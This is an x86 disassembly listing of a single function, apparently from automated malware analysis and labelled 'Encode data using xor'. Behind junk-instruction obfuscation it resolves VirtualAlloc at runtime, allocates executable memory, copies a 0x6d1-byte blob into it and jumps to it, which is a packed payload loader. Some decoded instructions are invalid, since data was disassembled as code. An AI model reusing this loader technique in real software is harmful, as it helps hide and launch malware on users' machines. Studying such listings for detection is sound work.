Function at 0x402030
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], 0x1f80
cmp eax, 0xfffffffd
je 0x402075
cmp eax, 0xfffffffc
je 0x402083
test eax, eax
je 0x402095
cmp eax, 0xffffffff
je 0x40207f
cmp eax, 0xfffffffe
je 0x40208d
fldenv [eax]
movzx eax, word [eax + 0x1c]
mov dword [esp + 0xc], eax
test byte [0x407024], 0x10
je 0x40206f
ldmxcsr dword [esp + 0xc]
xor eax, eax
add esp, 0x1c
ret
rol byte [ebx + 0x60c31cc4], 0x9c
pushal
pushfd
sub esi, eax
or edx, eax
not esi
call fcn.0040178c
or esi, edi
idiv edi
dec dword [ecx]
invalid
inc byte [ebp - 0x749b8d1c]
rol byte [ebp - 0x170d8d19], 1
jns 0x402084
test esp, esp
jb 0x4020ec
mov edx, eax
test edi, esp
jb 0x402080
bnd call fcn.0040140c
call fcn.0040140c
invalid
dec edx
xchg edx, esi
inc ebx
inc ebx
xchg eax, eax
xor esi, eax
xor esi, eax
mov ecx, ecx
or esi, edi
add edi, edx
xor edx, 0x1cecdf98
sub esi, eax
add ecx, 0x92f35d0
dec esi
mov eax, 0x1fedade
xor esi, eax
test eax, 0x19dc01a8
jb 0x402070
and esi, edi
mov ecx, 0x9f1e40
mov edx, dword [0x4040d9]
call fcn.004015b9
inc esi
neg eax
rol esi, 0x1e
call fcn.004031e0
xor edx, dword [0x40413c]
rol eax, 9
inc esi
mov esi, dword [0x404065]
xor edi, dword [0x4040f6]
inc eax
add byte [ebx], dh
cmp eax, 0x4040f6
neg edx
dec esi
call fcn.00401367
loop 0x4020c8
rol esi, 0xe
dec esi
sub ebx, dword [0x4041b9]
add eax, 0xdbd2ee0
call fcn.004031e0
rol ebx, 4
test esp, 0x10e11e2e
jo 0x402131
dec esi
inc esi
ror ebx, 0xd
mov esi, eax
call fcn.004012de
mov ecx, 0xdf28b8
mov dword [0x4045b4], 0x74e6936
mov esi, dword [0x4040b9]
inc eax
neg eax
shl eax, 0x1f
mov ah, 0x45
inc eax
add byte [esi], dh
imul ecx, dword [esi + 7], 0x40b9358b
inc eax
add byte [eax - 9], al
fadd st(1)
loopne 0x402164
inc esi
xchg eax, edx
shl esi, 0xb
rol edi, 2
test eax, 0x1417b00c
jo 0x4021b7
loop 0x40212f
rol edi, 1
and eax, 0xdcb3878
inc eax
dec eax
xor edi, edx
cli
xor ecx, eax
mov esi, eax
dec esi
inc ebx
sub esi, eax
mov ecx, 0x8fea3
inc esi
xchg esi, esi
mov esi, dword [0x404058]
shr eax, 0x1c
neg esi
rol esi, 2
dec esi
ror esi, 1
inc edx
neg eax
call fcn.0040145d
test eax, ecx
jb 0x4021b7
xchg eax, edx
sub dword [0x40464c], esi
loop 0x402172
xor edx, esp
mov esi, ecx
xor esi, eax
neg esi
mov edi, eax
sub esi, ecx
or ebx, 0x18e5160a
xor eax, esi
ror edi, 0xb
not ecx
dec esi
not ecx
add eax, 0x19901217
neg esi
mov ecx, eax
or esi, edi
neg edi
add edx, esi
mov esi, 0x10ee6422
xor dword [0x404660], edi
dec edi
mov esi, ebx
push 0x408500
xor esi, eax
xor esi, eax
not edi
sub edi, dword [0x404127]
mov dword [0x40472a], 0x363aa2e
not esi
call fcn.00401926
mov dword [0x404865], 0x199dec2
xor eax, eax
xchg edi, edx
xor esi, 0x287a9b34
xchg eax, edx
xor eax, eax
neg edi
add ecx, esp
call fcn.004031e0
not edi
add edi, dword [0x4040c0]
xor ebx, esi
neg eax
sub edi, esp
call fcn.004031e0
mov dword [0x4044ac], 0x7a76098
call fcn.0040145d
mov dword [0x40480f], 0x160a0e1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ecx, dword [0x404f08]
call fcn.00402029
xor dword [0x40430b], 0x64f6f3
inc eax
xchg eax, esi
add dword [0x40441d], 0x2160034
add esi, eax
xor edi, edx
inc eax
not esi
mov dword [0x404524], esi
mov dword [0x4043ae], 0x49223f0
xor edi, dword [0x404e64]
neg edx
xor esi, ecx
not esi
not esi
xor esi, ecx
neg edx
mov dword [0x404256], edi
not esi
dec eax
xor edi, edx
sub esi, eax
xchg eax, esi
dec eax
call fcn.004031e0
push 0
add eax, 0x14b1f230
xor edx, dword [0x4048f8]
call fcn.004031e0
not edx
xor esi, eax
xor dword [0x4042d2], 0xdb375ba
sub ecx, dword [0x404dae]
sub ecx, dword [0x404aa1]
sub dword [0x404581], ecx
xchg esi, edx
mov dword [0x40439b], edi
sub ebx, dword [0x404c00]
xor esi, 0x63457c8
add eax, 0x17cf2c2e
xor ebx, dword [0x404e00]
add ebx, 0x20c7aee0
sub ebx, 0x20c7aee0
sub eax, 0x17cf2c2e
xor esi, 0x63457c8
xchg esi, edx
or dword [0x404608], ebx
mov dword [0x4048bf], 0x1921882e
xor esi, eax
not edx
call fcn.004015b9
sub eax, 0x14b1f230
push 0x636f6c6c
or dword [0x404230], 0x26736d4f
add esi, dword [0x404e04]
xchg esi, edx
sub esi, 0x2ee05cd1
call fcn.004031e0
sub esi, eax
xor esi, 0xfc50af0
dec edx
xor edx, ebx
neg ebx
sub ecx, esi
xor ebx, edi
mov dword [0x404650], ebx
mov dword [0x404558], 0x21d9f74
call fcn.00403434
dec eax
sub esi, dword [0x404a4e]
xor dword [0x404860], 0xc8e70f9
neg eax
mov dword [0x40426c], ecx
neg eax
inc eax
mov dword [0x40464c], 0x114cf448
mov dword [0x40474a], ecx
xor ebx, edi
add ecx, esi
neg ebx
xor edx, ebx
inc edx
xor esi, 0xfc50af0
add esi, eax
call fcn.00401289
add esi, 0x2ee05cd1
xchg esi, edx
push 0x416c6175
xor edx, eax
xor ebx, edx
xor ebx, dword [0x404c97]
and dword [0x404264], 0x103ac21e
inc esi
add dword [0x40467a], ecx
not ecx
mov dword [0x40447f], 0x245e978d
dec esi
xchg eax, eax
not edx
add dword [0x404419], esi
sub esi, dword [0x404b55]
xor ebx, edx
sub dword [0x404284], 0x786180
sub ebx, dword [0x404ae8]
xor eax, 0x2c46685d
xor eax, 0x2c46685d
xor ebx, edx
mov dword [0x40481e], edx
not edx
xchg eax, eax
inc esi
not ecx
dec esi
xor ebx, edx
xor edx, eax
push 0x74726956
xor ecx, dword [0x404cb9]
ror edx, 0xa
add dword [0x40466c], 0x1dc2d75e
xor edx, eax
dec eax
sub ecx, dword [0x404b01]
mov dword [0x404550], 0x21d1806b
xor edx, dword [0x404fb0]
xchg esi, eax
add eax, 0x1f00249a
or dword [0x404640], ecx
add eax, esi
xor edi, ebp
dec esi
sub esi, eax
xor ebx, esi
add esi, esp
not ebx
add ebx, esi
ror eax, 0x18
xchg eax, edx
xchg eax, edx
rol eax, 0x18
sub ebx, esi
not ebx
sub esi, esp
xor ebx, esi
add esi, eax
inc esi
xor edi, ebp
sub eax, esi
sub eax, 0x1f00249a
xchg esi, eax
inc eax
xor edx, eax
or dword [0x4047fa], 0x3b12182
rol edx, 0xa
push esp
xor edi, 0x19a0334
add edx, eax
xchg esi, esi
sub ebx, dword [0x404dd6]
neg esi
add edi, eax
xchg edi, eax
call fcn.004031e0
xor ebx, ebp
call fcn.004031e0
sub edx, dword [0x404f10]
xor ebx, esp
neg ebx
xor ecx, dword [0x404e0b]
xchg esi, eax
add edi, eax
mov dword [0x404532], esi
neg esi
neg esi
sub edi, eax
xchg esi, eax
neg ebx
xor ebx, esp
xor ebx, ebp
xchg edi, eax
sub edi, eax
neg esi
xchg esi, esi
sub edx, eax
xor edi, 0x19a0334
push eax
xor ecx, dword [0x404dd8]
xor ebx, eax
mov dword [0x40480d], edx
call fcn.0040195b
sub esi, dword [0x404e52]
inc edi
not esi
ror esi, 0xe
xor ecx, dword [0x404c59]
xor esi, eax
or dword [0x40430e], ecx
call fcn.00401289
xor edi, dword [0x404c50]
add esi, eax
mov dword [0x404832], edx
sub esi, eax
call fcn.0040178c
sub edi, esp
xor esi, 0xe77c158
inc ebx
rol edx, 0xa
ror edx, 0xa
dec ebx
xor esi, 0xe77c158
add edi, esp
call fcn.00403434
add esi, eax
mov dword [0x404252], ecx
sub esi, eax
sub dword [0x4043d4], ebx
xor esi, eax
rol esi, 0xe
not esi
dec edi
call fcn.004031e0
xor ebx, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esi, dword [0x40493a]
xor esi, eax
or dword [0x40450a], edi
neg edx
xchg edi, eax
neg ebx
sub dword [0x40452e], 0x6095528
rol edx, 0x14
call fcn.00401289
not eax
add edx, dword [0x404b38]
not eax
call fcn.004031e0
ror edx, 0x14
mov dword [0x4045e0], 0xb9f004
neg ebx
xchg edi, eax
neg edx
xor esi, eax
add esp, 0x10
dec eax
xor ecx, dword [0x404978]
xor esi, eax
rol esi, 8
xchg esi, esi
call fcn.004031e0
sub ecx, ebx
xor esi, dword [0x404bf1]
sub edx, dword [0x404cbe]
sub esi, eax
rol eax, 0x14
xor esi, eax
inc eax
xor esi, esp
xor esi, esp
dec eax
xor esi, eax
ror eax, 0x14
add esi, eax
add ecx, ebx
call fcn.0040145d
xchg esi, esi
ror esi, 8
xor esi, eax
inc eax
push 0x40
xor edi, dword [0x404dea]
rol edx, 3
sub edx, dword [0x404b78]
sub eax, 0x5460a8c
not eax
dec edi
xchg esi, eax
inc esi
not eax
xchg esi, eax
xor edi, dword [0x404a40]
add edx, dword [0x404bd4]
xchg esi, eax
not eax
dec esi
xchg esi, eax
inc edi
not eax
add eax, 0x5460a8c
ror edx, 3
push 0x3000
xor edx, dword [0x404ec1]
inc edx
xor edx, ebx
dec edi
call fcn.0040358d
not edx
xor edi, esi
mov dword [0x404836], esi
xor edx, 0x12ae068c
xor dword [0x4044b0], edx
xchg esi, eax
sub edx, dword [0x40494c]
xchg ecx, edx
sub ecx, dword [0x404a31]
call fcn.004031e0
sub ecx, dword [0x404af8]
not edx
call fcn.004031e0
call fcn.00401289
not edx
call fcn.004031e0
xchg ecx, edx
xchg esi, eax
xor edx, 0x12ae068c
sub dword [0x4043fb], edi
xor edi, esi
not edx
call fcn.004031e0
inc edi
xor edx, ebx
dec edx
push 0x6d1
mov dword [0x4046d8], 0x229f3f0e
xor ecx, 0x1376cc28
xor esi, edx
xor edi, 0x1aac183
sub ecx, dword [0x404b55]
xor dword [0x4043f2], 0xf179b98
sub esi, dword [0x404ad0]
xor edi, 0x169f3914
call fcn.0040358d
xor esi, dword [0x404c80]
rol esi, 0xa
neg ebx
xor ecx, dword [0x404c52]
neg ebx
ror esi, 0xa
call fcn.00402029
xor edi, 0x169f3914
or dword [0x4045d8], 0x11822728
xor edi, 0x1aac183
xor esi, edx
xor ecx, 0x1376cc28
sub dword [0x4044c0], 0x121d38d7
push 0
rol esi, 8
add esi, 0x1392d638
xor ebx, edi
inc edx
neg eax
xor esi, eax
neg esi
mov dword [0x404410], 0x9911d2f
xor edx, eax
sub ebx, 0x6546ae0
xor ecx, edi
mov dword [0x404870], 0xdbc21f0
xor ecx, edi
add ebx, 0x6546ae0
xor edx, eax
mov dword [0x404840], 0x17ff6fb
neg esi
xor esi, eax
neg eax
dec edx
xor ebx, edi
sub esi, 0x1392d638
ror esi, 8
call eax
sub eax, ebp
inc esi
mov dword [0x404446], edx
xor ecx, esp
sub edi, dword [0x404c58]
call fcn.004031e0
xor esi, eax
ror ebx, 1
call fcn.004031e0
ror esi, 0x16
xchg eax, eax
xor edi, dword [0x404a98]
xchg eax, eax
rol esi, 0x16
call fcn.00401289
rol ebx, 1
xor esi, eax
call fcn.004031e0
xor ecx, esp
mov dword [0x4042e3], ecx
dec esi
add eax, ebp
call 0x40280d
neg eax
sub dword [0x4045d8], edx
sub ecx, esi
dec esi
not eax
sub ecx, dword [0x404e13]
sub dword [0x40443b], edi
xchg esi, esi
add esi, dword [0x404a71]
xor dword [0x404398], ebx
xor esi, eax
dec edx
call fcn.00401926
xor esi, eax
ror esi, 4
call fcn.00401e09
rol esi, 4
xor esi, eax
call fcn.00402029
inc edx
xor esi, eax
add dword [0x404394], esi
xchg esi, esi
sub dword [0x40448c], ecx
not eax
inc esi
add ecx, esi
xor dword [0x404704], ebx
neg eax
pop esi
dec esi
ror ecx, 6
sub ecx, dword [0x404a08]
call fcn.00403658
sub ecx, dword [0x404a43]
xor esi, eax
not edx
ror edx, 1
xor esi, eax
sub esi, eax
add dword [0x4042ac], 0x1660963d
add ebx, eax
call fcn.0040359d
sub ebx, eax
mov dword [0x4044c4], 0x166f8801
add esi, eax
xor esi, eax
rol edx, 1
not edx
xor esi, eax
call fcn.00401ea9
rol ecx, 6
inc esi
add esi, 0x288
xchg edi, esi
sub edi, ebx
add edi, dword [0x404a58]
inc esi
sub edx, dword [0x40496d]
call fcn.0040376a
xor esi, eax
xor esi, 0x211913a6
ror eax, 3
neg edx
inc esi
mov dword [0x40422c], 0x34a5c3c8
not eax
ror ebx, 1
xor ecx, dword [0x404934]
xor esi, 0x1907ac
call fcn.004031e0
inc eax
call fcn.004031e0
xor ebx, ecx
ror edi, 9
rol edi, 9
xor ebx, ecx
call fcn.0040140c
dec eax
xor esi, 0x1907ac
rol ebx, 1
not eax
mov dword [0x404444], 0x59bec4
dec esi
neg edx
rol eax, 3
xor esi, 0x211913a6
xor esi, eax
dec esi
add edi, ebx
xchg edi, esi
mov edi, eax
not eax
mov dword [0x4046db], edi
xor esi, eax
dec eax
xor ebx, ebp
or dword [0x404516], 0x3d70484
sub esi, dword [0x404e94]
dec esi
or dword [0x4044e1], 0x19644144
neg esi
xor edx, dword [0x404b14]
call fcn.004031e0
neg esi
neg esi
call fcn.004031e0
neg esi
mov dword [0x4045a8], 0xb1180df
inc esi
sub dword [0x4043cb], 0x1293f0
xor ebx, ebp
inc eax
xor esi, eax
not eax
mov ecx, 0x6d1
xor edi, edx
not edi
rol edx, 6
xor ecx, edx
dec esi
not esi
call fcn.00401f18
xor eax, esp
xor esi, 0xa4429ec
sub esi, dword [0x404932]
xor esi, 0xa4429ec
xor eax, esp
call fcn.00401e17
not esi
inc esi
xor ecx, edx
ror edx, 6
not edi
xor edi, edx
rep movsb byte es:[edi], byte [esi]
xor eax, 0x194775dd
dec esi
sub esi, dword [0x404f6f]
add edi, esp
sub esi, eax
xor esi, 0x8bb79bf
add ecx, dword [0x404bd8]
or dword [0x404751], esi
xor edi, esi
xchg ebx, esi
sub ebx, dword [0x404e9d]
call fcn.00401289
call fcn.00401b57
xchg ebx, esi
xor edi, esi
and dword [0x404215], esi
xor esi, 0x8bb79bf
add esi, eax
sub edi, esp
inc esi
xor eax, 0x194775dd
jmp eax